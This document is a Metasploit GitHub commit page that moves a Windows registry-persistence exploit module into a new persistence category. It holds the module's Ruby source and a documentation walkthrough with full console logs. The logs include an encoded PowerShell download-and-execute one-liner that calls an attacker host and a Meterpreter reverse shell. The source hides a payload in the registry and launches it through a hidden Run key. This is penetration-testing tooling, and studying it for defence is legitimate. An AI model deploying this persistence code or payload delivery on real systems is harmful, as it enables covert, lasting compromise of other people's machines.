Skip to content

Commit d839a84

Browse files
authored
Land #20631, moves windows registry module into persistence category
update windows registry to persistence mixin
2 parents 086fad6 + 0f26c93 commit d839a84

File tree

2 files changed

+213
-81
lines changed

2 files changed

+213
-81
lines changed
Lines changed: 165 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,165 @@
1+
## Vulnerable Application
2+
3+
This module will install a payload that is executed during boot.
4+
It will be executed either at user logon or system startup via the registry
5+
value in "CurrentVersion\Run" or "RunOnce" (depending on privilege and selected method).
6+
The payload will be installed completely in registry.
7+
8+
## Verification Steps
9+
10+
1. Start msfconsole
11+
2. Get a shell on Windows
12+
3. Do: `use exploit/windows/persistence/registry`
13+
4. Do: `set session #`
14+
5. Do: `run`
15+
6. You should get a shell on user or system login.
16+
17+
## Options
18+
19+
### STARTUP
20+
21+
Startup type for the persistent payload. Options are `USER` and `SYSTEM`, defaults to `USER`.
22+
23+
### BLOB_REG_KEY
24+
25+
The registry key to use for storing the payload blob. Default: random
26+
27+
### BLOB_REG_NAME
28+
29+
The name to use for storing the payload blob. Default: random
30+
31+
### RUN_NAME
32+
33+
The name to use for the `Run` key. Default: random
34+
35+
### SLEEP_TIME
36+
37+
Amount of time to sleep (in seconds) before executing payload. Default: 0
38+
39+
### REG_KEY
40+
41+
Registry Key To Install To. Options are `Run` and `RunOnce`. Defaults to `Run`
42+
43+
## Scenarios
44+
45+
### Windows 10 22H2+ User access
46+
47+
Obtain original shell
48+
49+
```
50+
resource (/root/.msf4/msfconsole.rc)> setg verbose true
51+
verbose => true
52+
resource (/root/.msf4/msfconsole.rc)> setg lhost 1.1.1.1
53+
lhost => 1.1.1.1
54+
resource (/root/.msf4/msfconsole.rc)> setg payload cmd/linux/http/x64/meterpreter/reverse_tcp
55+
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
56+
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
57+
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
58+
resource (/root/.msf4/msfconsole.rc)> set target 2
59+
target => 2
60+
resource (/root/.msf4/msfconsole.rc)> set srvport 8085
61+
srvport => 8085
62+
resource (/root/.msf4/msfconsole.rc)> set uripath w2
63+
uripath => w2
64+
resource (/root/.msf4/msfconsole.rc)> set payload payload/windows/x64/meterpreter/reverse_tcp
65+
payload => windows/x64/meterpreter/reverse_tcp
66+
resource (/root/.msf4/msfconsole.rc)> set lport 4449
67+
lport => 4449
68+
resource (/root/.msf4/msfconsole.rc)> run
69+
[*] Exploit running as background job 0.
70+
[*] Exploit completed, but no session was created.
71+
[*] Started reverse TCP handler on 1.1.1.1:4449
72+
[*] Using URL: http://1.1.1.1:8085/w2
73+
[*] Server started.
74+
[*] Run the following command on the target machine:
75+
powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJABwADAAMwB4AG4APQBuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAA7AGkAZgAoAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFAAcgBvAHgAeQBdADoAOgBHAGUAdABEAGUAZgBhAHUAbAB0AFAAcgBvAHgAeQAoACkALgBhAGQAZAByAGUAcwBzACAALQBuAGUAIAAkAG4AdQBsAGwAKQB7ACQAcAAwADMAeABuAC4AcAByAG8AeAB5AD0AWwBOAGUAdAAuAFcAZQBiAFIAZQBxAHUAZQBzAHQAXQA6ADoARwBlAHQAUwB5AHMAdABlAG0AVwBlAGIAUAByAG8AeAB5ACgAKQA7ACQAcAAwADMAeABuAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADIALgAyADIAOAA6ADgAMAA4ADUALwB3ADIALwBzAHUAWABJAE4AUgBnAGYAagBwAHUAbwAnACkAKQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADIALgAyADIAOAA6ADgAMAA4ADUALwB3ADIAJwApACkAOwA=
76+
msf exploit(multi/script/web_delivery) >
77+
[*] 2.2.2.2 web_delivery - Powershell command length: 3709
78+
[*] 2.2.2.2 web_delivery - Delivering Payload (3709 bytes)
79+
[*] Sending stage (230982 bytes) to 2.2.2.2
80+
[*] Meterpreter session 1 opened (1.1.1.1:4449 -> 2.2.2.2:50218) at 2025-10-19 09:24:28 -0400
81+
82+
msf exploit(multi/script/web_delivery) > sessions -i 1
83+
[*] Starting interaction with 1...
84+
85+
meterpreter > getuid
86+
Server username: WIN10PROLICENSE\windows
87+
meterpreter > sysinfo
88+
Computer : WIN10PROLICENSE
89+
OS : Windows 10 22H2+ (10.0 Build 19045).
90+
Architecture : x64
91+
System Language : en_US
92+
Domain : WORKGROUP
93+
Logged On Users : 2
94+
Meterpreter : x64/windows
95+
meterpreter > background
96+
[*] Backgrounding session 1...
97+
```
98+
99+
Persistence
100+
101+
```
102+
msf exploit(multi/script/web_delivery) > use exploit/windows/persistence/registry
103+
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
104+
msf exploit(windows/persistence/registry) > set session 1
105+
session => 1
106+
msf exploit(windows/persistence/registry) > set payload windows/meterpreter/reverse_tcp
107+
payload => windows/meterpreter/reverse_tcp
108+
msf exploit(windows/persistence/registry) > check
109+
[+] Powershell detected on system
110+
[*] Checking registry write access to: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Ws7IB4gE1WPHLZb
111+
[+] The target is vulnerable. Registry writable
112+
msf exploit(windows/persistence/registry) > exploit
113+
[*] Exploit running as background job 1.
114+
[*] Exploit completed, but no session was created.
115+
116+
[*] Started reverse TCP handler on 1.1.1.1:4444
117+
msf exploit(windows/persistence/registry) > [*] Running automatic check ("set AutoCheck false" to disable)
118+
[+] Powershell detected on system
119+
[*] Checking registry write access to: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\KXBPUprYbD5frAT
120+
[+] The target is vulnerable. Registry writable
121+
[*] Generating payload blob..
122+
[*] Powershell command length: 6885
123+
[+] Generated payload, 6816 bytes
124+
[*] Root path is HKCU
125+
[*] Installing payload blob..
126+
[+] Created registry key HKCU\Software\meCSomm1
127+
[+] Installed payload blob to HKCU\Software\meCSomm1\haUGCPh4
128+
[*] Installing run key
129+
[+] Installed run key HKCU\Software\Microsoft\Windows\CurrentVersion\Run\O4aWIeM8
130+
[*] Meterpreter-compatible Cleanup RC file: /root/.msf4/logs/persistence/WIN10PROLICENSE_20251019.2744/WIN10PROLICENSE_20251019.2744.rc
131+
```
132+
133+
Logout user (killing original shell), and log back in
134+
135+
```
136+
msf exploit(windows/persistence/registry) > [*] 2.2.2.2 - Meterpreter session 1 closed. Reason: Died
137+
138+
[*] Sending stage (188998 bytes) to 2.2.2.2
139+
[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:50225) at 2025-10-19 09:28:43 -0400
140+
141+
msf exploit(windows/persistence/registry) > sessions -i 2
142+
[*] Starting interaction with 2...
143+
144+
meterpreter > getuid
145+
Server username: WIN10PROLICENSE\windows
146+
meterpreter > background
147+
[*] Backgrounding session 2...
148+
```
149+
150+
Cleanup
151+
152+
```
153+
msf exploit(windows/persistence/registry) > sessions -i 2
154+
[*] Starting interaction with 2...
155+
156+
meterpreter > run /root/.msf4/logs/persistence/WIN10PROLICENSE_20251019.2744/WIN10PROLICENSE_20251019.2744.rc
157+
[*] Processing /root/.msf4/logs/persistence/WIN10PROLICENSE_20251019.2744/WIN10PROLICENSE_20251019.2744.rc for ERB directives.
158+
resource (/root/.msf4/logs/persistence/WIN10PROLICENSE_20251019.2744/WIN10PROLICENSE_20251019.2744.rc)> reg deleteval -k 'HKCU\Software\meCSomm1' -v 'haUGCPh4'
159+
Successfully deleted haUGCPh4.
160+
resource (/root/.msf4/logs/persistence/WIN10PROLICENSE_20251019.2744/WIN10PROLICENSE_20251019.2744.rc)> reg deletekey -k 'HKCU\Software\meCSomm1'
161+
Successfully deleted key: HKCU\Software\meCSomm1
162+
resource (/root/.msf4/logs/persistence/WIN10PROLICENSE_20251019.2744/WIN10PROLICENSE_20251019.2744.rc)> reg deleteval -k 'HKCU\Software\Microsoft\Windows\CurrentVersion\Run' -v 'O4aWIeM8'
163+
Successfully deleted O4aWIeM8.
164+
meterpreter >
165+
```

modules/exploits/windows/local/registry_persistence.rb renamed to modules/exploits/windows/persistence/registry.rb

Lines changed: 48 additions & 81 deletions
Original file line numberDiff line numberDiff line change
@@ -9,6 +9,10 @@ class MetasploitModule < Msf::Exploit::Local
99
include Msf::Exploit::Powershell
1010
include Msf::Post::Windows::Registry
1111
include Msf::Post::File
12+
include Msf::Exploit::Local::Persistence
13+
prepend Msf::Exploit::Remote::AutoCheck
14+
include Msf::Exploit::Deprecated
15+
moved_from 'exploits/windows/local/registry_persistence'
1216

1317
def initialize(info = {})
1418
super(
@@ -18,27 +22,31 @@ def initialize(info = {})
1822
'Description' => %q{
1923
This module will install a payload that is executed during boot.
2024
It will be executed either at user logon or system startup via the registry
21-
value in "CurrentVersion\Run" (depending on privilege and selected method).
25+
value in "CurrentVersion\Run" or "RunOnce" (depending on privilege and selected method).
2226
The payload will be installed completely in registry.
2327
},
2428
'License' => MSF_LICENSE,
2529
'Author' => [
26-
'Donny Maasland <donny.maasland[at]fox-it.com>',
30+
'Donny Maasland <donny.maasland[at]fox-it.com>', # original module
31+
'h00die',
2732
],
2833
'Platform' => [ 'win' ],
2934
'SessionTypes' => [ 'meterpreter', 'shell' ],
3035
'Targets' => [
3136
[ 'Automatic', {} ]
3237
],
38+
'References' => [
39+
['ATT&CK', Mitre::Attack::Technique::T1547_001_REGISTRY_RUN_KEYS_STARTUP_FOLDER],
40+
['ATT&CK', Mitre::Attack::Technique::T1112_MODIFY_REGISTRY],
41+
['URL', 'https://learn.microsoft.com/en-us/windows/win32/setupapi/run-and-runonce-registry-keys'],
42+
['URL', 'https://pentestlab.blog/2019/10/01/persistence-registry-run-keys/']
43+
],
3344
'DefaultTarget' => 0,
3445
'DisclosureDate' => '2015-07-01',
35-
'DefaultOptions' => {
36-
'DisablePayloadHandler' => true
37-
},
3846
'Notes' => {
39-
'Reliability' => UNKNOWN_RELIABILITY,
40-
'Stability' => UNKNOWN_STABILITY,
41-
'SideEffects' => UNKNOWN_SIDE_EFFECTS
47+
'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION],
48+
'Stability' => [CRASH_SAFE],
49+
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
4250
}
4351
)
4452
)
@@ -52,25 +60,22 @@ def initialize(info = {})
5260
[false, 'The name to use for storing the payload blob. (Default: random)' ]),
5361
OptString.new('RUN_NAME',
5462
[false, 'The name to use for the \'Run\' key. (Default: random)' ]),
55-
OptBool.new('CREATE_RC',
56-
[false, 'Create a resource file for cleanup', true]),
5763
OptInt.new('SLEEP_TIME',
5864
[false, 'Amount of time to sleep (in seconds) before executing payload. (Default: 0)', 0]),
65+
OptEnum.new('REG_KEY', [true, 'Registry Key To Install To', 'Run', %w[Run RunOnce]]),
5966
])
6067
end
6168

6269
def generate_payload_blob
6370
opts = {
6471
wrap_double_quotes: true,
65-
encode_final_payload: true,
72+
encode_final_payload: true
6673
}
67-
blob = cmd_psh_payload(payload.encoded, payload_instance.arch.first, opts).split(' ')[-1]
68-
return blob
74+
cmd_psh_payload(payload.encoded, payload_instance.arch.first, opts).split(' ')[-1]
6975
end
7076

7177
def generate_cmd(root_path, blob_key_name, blob_key_reg)
72-
cmd = "%COMSPEC% /b /c start /b /min powershell -nop -w hidden -c \"sleep #{datastore['SLEEP_TIME']}; iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-Item '#{root_path}:#{blob_key_name}').GetValue('#{blob_key_reg}'))))\""
73-
return cmd
78+
"%COMSPEC% /b /c start /b /min powershell -nop -w hidden -c \"sleep #{datastore['SLEEP_TIME']}; iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-Item '#{root_path}:#{blob_key_name}').GetValue('#{blob_key_reg}'))))\""
7479
end
7580

7681
def generate_blob_reg
@@ -80,106 +85,70 @@ def generate_blob_reg
8085
end
8186

8287
def generate_cmd_reg
83-
cmd_reg = datastore['RUN_NAME'] || Rex::Text.rand_text_alphanumeric(8)
84-
return cmd_reg
88+
datastore['RUN_NAME'] || Rex::Text.rand_text_alphanumeric(8)
8589
end
8690

8791
def install_blob(root_path, blob, blob_reg_key, blob_reg_name)
8892
blob_reg_key = "#{root_path}\\#{blob_reg_key}"
8993
new_key = false
90-
if not registry_enumkeys(blob_reg_key)
94+
if !registry_enumkeys(blob_reg_key)
9195
unless registry_createkey(blob_reg_key)
9296
fail_with(Failure::Unknown, "Failed to create key #{blob_reg_key}")
9397
end
9498
print_good("Created registry key #{blob_reg_key}")
9599
new_key = true
96100
end
97101

98-
unless registry_setvaldata(blob_reg_key, blob_reg_name, blob, "REG_SZ")
102+
unless registry_setvaldata(blob_reg_key, blob_reg_name, blob, 'REG_SZ')
99103
fail_with(Failure::Unknown, 'Failed to open the registry key for writing')
100104
end
101105
print_good("Installed payload blob to #{blob_reg_key}\\#{blob_reg_name}")
102106
return new_key
103107
end
104108

109+
def regkey
110+
datastore['REG_KEY']
111+
end
112+
105113
def install_cmd(cmd, cmd_reg, root_path)
106-
unless registry_setvaldata("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", cmd_reg, cmd, 'REG_EXPAND_SZ')
114+
unless registry_setvaldata("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}", cmd_reg, cmd, 'REG_EXPAND_SZ')
107115
fail_with(Failure::Unknown, 'Could not install run key')
108116
end
109-
print_good("Installed run key #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{cmd_reg}")
117+
print_good("Installed run key #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}\\#{cmd_reg}")
110118
end
111119

112120
def get_root_path
113-
if datastore['STARTUP'] == 'USER'
114-
root_path = 'HKCU'
115-
else
116-
root_path = 'HKLM'
117-
end
118-
return root_path
119-
end
120-
121-
def log_file(log_path = nil) # Thanks Meatballs for this
122-
# Get hostname
123-
host = session.session_host
124-
125-
# Create Filename info to be appended to downloaded files
126-
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
127-
128-
# Create a directory for the logs
129-
if log_path
130-
logs = ::File.join(log_path, 'logs', 'persistence',
131-
Rex::FileUtils.clean_path(host + filenameinfo))
132-
else
133-
logs = ::File.join(Msf::Config.log_directory, 'persistence',
134-
Rex::FileUtils.clean_path(host + filenameinfo))
135-
end
121+
return 'HKCU' if datastore['STARTUP'] == 'USER'
136122

137-
# Create the log directory
138-
::FileUtils.mkdir_p(logs)
139-
140-
# logfile name
141-
logfile = ::File.join(logs, Rex::FileUtils.clean_path(host + filenameinfo) + '.rc')
142-
logfile
123+
'HKLM'
143124
end
144125

145-
def create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key) # Thanks Meatballs for this
146-
clean_rc = log_file()
147-
@clean_up_rc = ""
126+
def create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key)
148127
@clean_up_rc << "reg deleteval -k '#{root_path}\\#{blob_reg_key}' -v '#{blob_reg_name}'\n"
149128
if new_key
150129
@clean_up_rc << "reg deletekey -k '#{root_path}\\#{blob_reg_key}'\n"
151130
end
152-
@clean_up_rc << "reg deleteval -k '#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -v '#{cmd_reg}'\n"
153-
file_local_write(clean_rc, @clean_up_rc)
154-
print_status("Clean up Meterpreter RC file: #{clean_rc}")
155-
156-
report_note(:host => session.session_host,
157-
type: 'host.persistance.cleanup',
158-
data: {
159-
local_id: session.sid,
160-
stype: session.type,
161-
desc: session.info,
162-
platform: session.platform,
163-
via_payload: session.via_payload,
164-
via_exploit: session.via_exploit,
165-
created_at: Time.now.utc,
166-
commands: @clean_up_rc
167-
})
131+
@clean_up_rc << "reg deleteval -k '#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}' -v '#{cmd_reg}'\n"
168132
end
169133

170134
def check
171-
unless registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\").include?("PowerShell")
172-
return Msf::Exploit::CheckCode::Safe
173-
end
135+
return Msf::Exploit::CheckCode::Safe('System does not have powershell') unless registry_enumkeys('HKLM\\SOFTWARE\\Microsoft\\').include?('PowerShell')
174136

175-
return Msf::Exploit::CheckCode::Vulnerable
176-
end
137+
vprint_good('Powershell detected on system')
177138

178-
def exploit
179-
unless registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\").include?("PowerShell")
180-
print_warning('Warning: PowerShell does not seem to be available, persistence might fail')
181-
end
139+
# test write to see if we have access
140+
root_path = get_root_path
141+
rand = Rex::Text.rand_text_alphanumeric(15)
182142

143+
vprint_status("Checking registry write access to: #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}\\#{rand}")
144+
return Msf::Exploit::CheckCode::Safe("Unable to write to registry path #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}") if registry_createkey("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{rand}").nil?
145+
146+
registry_deletekey("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}\\#{rand}")
147+
148+
Msf::Exploit::CheckCode::Vulnerable('Registry writable')
149+
end
150+
151+
def install_persistence
183152
print_status('Generating payload blob..')
184153
blob = generate_payload_blob
185154
print_good("Generated payload, #{blob.length} bytes")
@@ -197,8 +166,6 @@ def exploit
197166
print_status('Installing run key')
198167
install_cmd(cmd, cmd_reg, root_path)
199168

200-
if datastore['CREATE_RC']
201-
create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key)
202-
end
169+
create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key)
203170
end
204171
end

0 commit comments

Comments
 (0)